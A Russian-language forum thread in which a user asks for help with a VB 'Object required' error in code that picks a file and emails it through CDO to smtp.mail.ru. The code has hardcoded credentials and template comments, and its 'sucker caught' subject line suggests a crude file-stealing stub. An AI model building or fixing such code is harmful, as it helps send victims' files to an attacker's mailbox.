Run-time error '424'

[Alexander158]

Тип ошибки
Run-time error '424'
Object required


вот исходник

Private Sub Command1_Click()
CD1.ShowOpen '
Text1.Text = CD1.FileName '
End Sub

Private Sub Command2_Click()
Call send_message '
End Sub

Private Sub Picture1_Click()

End Sub

Private Sub Text2_Change()

End Sub


хочу добавить от себя, что находил в интернете подобные проблемы, и на вашем форуме тоже. Но решить их самостоятельно не очень легко. Так что прошу помощи.

[Iska]

Alexander158, и что можно понять из приведённого?! Что такое CD1, Text1? Как минимум — сама форма где? Сделайте её экспорт и выложите. Где код формы/модуля с процедурой send_message?

[Alexander158]

Вот полный исходник со всем чем только можно.

Sub send_message()
Dim o_Mess As Object, v_Conf As String
Set o_Mess = CreateObject("CDO.Message")
v_Conf = "http://schemas.microsoft.com/cdo/configuration/"
With o_Mess
.To = "gi33@bk.ru" 'Кому отправить (Тут вставляем свою почту)
.From = "ibr73@bk.ru" 'От кого (здесь тоже свою, но с которой будут отправляться отчеты)
.Subject = "====== Лошок попался ======" 'Тема (Название темы)
.TextBody = "Все готово. Скачай файл и наслаждайся. Удачи." 'Текст ( Само сообщение, текст не важен)
.AddAttachment "" + Text1 + "" 'Отправка файла (Не трогаем)
With .Configuration.Fields
.Item(v_Conf & "sendusing") = 2
.Item(v_Conf & "smtpserver") = "smtp.mail.ru"
.Item(v_Conf & "smtpauthenticate") = 1
.Item(v_Conf & "sendusername") = "ibr73@bk.ru" 'От кого (своя почта от которой будет отправка)
.Item(v_Conf & "sendpassword") = "1234567890" 'Пароль от кого отправляется письмо (пароль обязателен)
.Item(v_Conf & "smtpserverport") = "2525"
.Item(v_Conf & "smtpusessl") = False
.Item(v_Conf & "smtpconnectiontimeout") = 60
.Update
End With
.send
End With
End Sub

Private Sub Command1_Click()
CD1.ShowOpen ' Вызываем окно открытия файлов
Text1.Text = CD1.FileName ' Свойство FileName нужно для того чтоб узнать какой файл был выбран
End Sub

Private Sub Command2_Click()
Call send_message ' запуск отправки письма
End Sub

Private Sub Picture1_Click()

я думаю вы понимаете что можете просто кинуть этот исходник в блокнот сохранив в формате txt. а затем добавить в VB , без затруднения.

[Iska]

я думаю вы понимаете что можете просто »
Я думаю, что я — понимаю. Когда поймёте и Вы, что от Вас требуется — продолжим.

[Alexander158]

Iska нет у меня там экспорта. НЕГДЕ. не хотите помогать, ваше дело. До свидаение

[Iska]

Я не «не хочу», а не могу Вам помочь без достаточного количества информации. Статься, кто-нибудь и сможет. Я — нет.

Не можете упаковать и выложить проект *.vbp/документ Office, включенные в него формы *.frm, модули кода *.bas, модули классов *.cls — ежели оные есть?! Не верю. Не знаете, не умеете, не хотите — верю. В остальное — увы, не верю.

http://img692.imageshack.us/img692/7706/image00120130225215207.png

[Alexander158]

Iska по моему вы тоже не хотите. Видите же что я в этом VB не очень. дал вам исходник во втором посте, могли бы его поместить в VB , потом сделали бы вы своей любимый экспорт самостоятельно.

где вы здесь видете экспорт?
http://i076.radikal.ru/1302/15/0cf204b8a80e.jpg

[Delirium]

Save = Сохранить. Экспорт - операция сохранения.

[Iska]

Alexander158, так давайте тогда вместе разбираться ;).

Начнём с того, что Вы расскажете, в каком приложении Вы работаете с VBA.